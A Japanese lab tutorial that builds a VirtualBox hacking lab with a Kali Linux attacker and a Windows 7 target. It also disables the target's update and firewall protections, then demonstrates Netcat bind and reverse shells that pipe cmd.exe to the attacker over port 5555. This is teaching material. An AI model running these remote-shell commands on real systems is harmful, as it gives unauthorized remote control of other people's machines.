ターゲット端末にWindows7を導入し、初期設定を行います。
さらにNetcatを使ってハッキングをしていきます。
まとめ記事(①〜⑯をまとめてます)
【ハッキング・ラボのつくりかた】をやってみた
システム環境
仮想化ソフト
:VirtualBox 6.1.0
ホストOS
:Windows10
ゲストOS1
:Kali Linux 2020.1
ゲストOS2
:Windows7
攻撃端末はゲストOS1、ターゲット端末はゲストOS2です。
IPアドレスはゲストOS1が10.0.0.2、ゲストOS2が10.0.0.102です。
Windows7の導入
Windows7を導入していきます。
以下のURLからダウンロードします。
https://archive.org/details/ie8.win7.virtualbox
ダウンロードしたzipファイルを展開すると、IE8 - Win7.ovaというovaファイルが入っています。
VirtualBoxを起動し、「ファイル」→「仮想アライアンスのインポート」を選択します。
ダウンロードしたovaファイルを指定して、「次へ」ボタンを押します。
内容に問題がなければ、「インポート」ボタンを押します。
ここでは仮想ディスクイメージを「C:\VM_Guest\VBox\IE8 - Win7\IE8 - Win7-disk1.vmdk」としました。
Windows7の初期設定
Windows7の初期設定を行っていきます。
仮想LANアダプターの設定
Windows7をターゲット端末として扱うためにホストオンリーネットワークに属するように設定します。
VirtualBoxの「設定」→「ネットワーク」からホストオンリーアダプターを割り当てます。
Windows7は動的IPアドレスで運用します。
仮想マシンを起動し、ipconfigコマンドでIPアドレスが10.0.0.101~10.0.0.254になっていることを確認します。
Ping応答の設定
Windows7はセキュリティの観点からPingの応答を返さないようになっています。
なおWindows7側からのPingは通ります。
ここではPingの応答を返すように設定します。
「Control Panel」→「System and Security」→「Windows Firewall」→「Advanced settings」→「Inbound Rules」から「File and Printer Sharing(Echo Request - ICMPv4-In)」を右クリックし、「Properties」を選びます。
4つありますが、「Private, Pubric」とあるものだけで構いません。
Enabledにチェックを入れて、「Apply」ボタンを押します。
これでPing応答を返すようになり、通信できることが確認されました。
Windows Updateの無効化
実験環境では特に必要ないのでWindows Updateは無効化します。
「Control Panel」→「System and Security」→「Windows Update」→「Change settings」→「Import updates」から「Never check for updates (not recommended)」を選び、「OK」ボタンを押します。
VirtualBox Guest Additionsの適用
操作性向上のためにGuest Additionsを適用します。
仮想マシンメニューの「デバイス」→「Guest Additions CDイメージの挿入」から「Run VBoxWindowsAdditions.exe」を選び、インストールします。
日本語キーボードの適用
日本語キーボードを適用します。
まず日本語キーボードのドライバーを設定します。
デバイスマネージャーを起動し、「IE8WIN7」→「Keyboards」→「Standard PS/2 Keybord」→「Driver」→「Update Driver」→「Browse my computer for driver software」から「Let me pick from a list of device drivers on my computer」を選びます。
「Show compatible hardware」のチェックを外し、Manufactureで「(Standard keyboards)」、Modelで「Japanese PS/2 Keybord (106/109 Key Ctrl + Eisuu)」を選び、「Next」ボタンを押します。
「Update Driver Warning」から「Yes」ボタンを押せば完了です。
次にシステムの言語設定を変更します。
「Control Panel」→「Change display language」→「Administrative」→「Change system locale」→「Current system locale」から「Japanese (Japan)」を選び、「OK」ボタンを押せば完了です。
デフォルトで言語がJPになるようにするには、「Control Panel」→「Change display language」→「Region and Language」→「Keyboards and Languages」→「Change keyboards」→「Default input language」から「Japan (Japan) - Microsoft IME」を選び、「OK」ボタンを押せば完了です。
これにより、デフォルトで言語にJPが適用されるようになります。
Sysinternals Suiteのインストール
システム情報等を扱うのに便利なSysinternals Suiteをインストールします。
ホストOS側で以下のURLからダウンロードし、Windows7に送付します。
https://docs.microsoft.com/en-us/sysinternals/downloads/
事前に仮想マシンメニューの「デバイス」→「ドラッグ&ドロップ」から「双方向」に設定しておき、ドラッグ&ドロップでファイルをコピーします。
SysinternalsSuite.zipファイルを展開し、Autoruns.exeを起動します。
実験後に比較を行うために、初期状態を保存しておきます。
「File」→「Save」からAutoruns_Baseline_20200511.armのようなファイル名で保存します。
Netcatを使ってハッキングをする
Netcatはネットワークを介してデータを送受信するツールで、ネットワークを扱う万能ツールとしても知られています。
これを使用してハッキングを行います。
インストール
Windows7にはデフォルトでNetcatがインストールされていません。
以下のURLからダウンロードします。
https://joncraton.org/blog/46/netcat-for-windows/
ダウンロードはSysinternals Suiteと同じ方法で行います。
ここではC:\Workフォルダに保存しました。
バインドシェル
バインドシェルとは攻撃端末からターゲット端末に接続するタイプのシェルのことです。
Windows7で以下のコマンドを入力し、待ち受け状態にします。
ポート5555で待ち受け、接続したらコマンドプロンプトにリダイレクトします。
> cd C:\Work\nc111nt
> nc.exe -lvp 5555 -e cmd.exe
この状態でKali Linuxから以下のコマンドを入力し、Windwos7に接続します。
ここではWindows7のIPアドレスは10.0.0.102です。
$ nc 10.0.0.102 5555
成功すればプロンプトが表示され、コマンドを実行できるようになります。
つまり、遠隔操作できるようになるというわけです。
リバースシェル
バインドシェルの問題点として、ファイアウォールやルーター等にブロックされやすいことが挙げられます。
これはファイアウォールやルーター等がインバウンドを制限しているためです。
これを解決する方法として、リバースシェルがあります。
リバースシェルはターゲット端末から攻撃端末に接続するタイプのシェルのことです。
ファイアウォールやルーター等はアウトバウンドが緩く、ブロックされにくくなると考えられます。
Kali Linuxで以下のコマンドを入力し、待ち受け状態にします。
ポート5555で待ち受けます。
$ nc -lvp 5555
この状態でWindows7から以下のコマンドを入力し、Kali Linuxに接続します。
> cd C:\Work\nc111nt
> nc.exe 10.0.0.2 5555 -e cmd.exe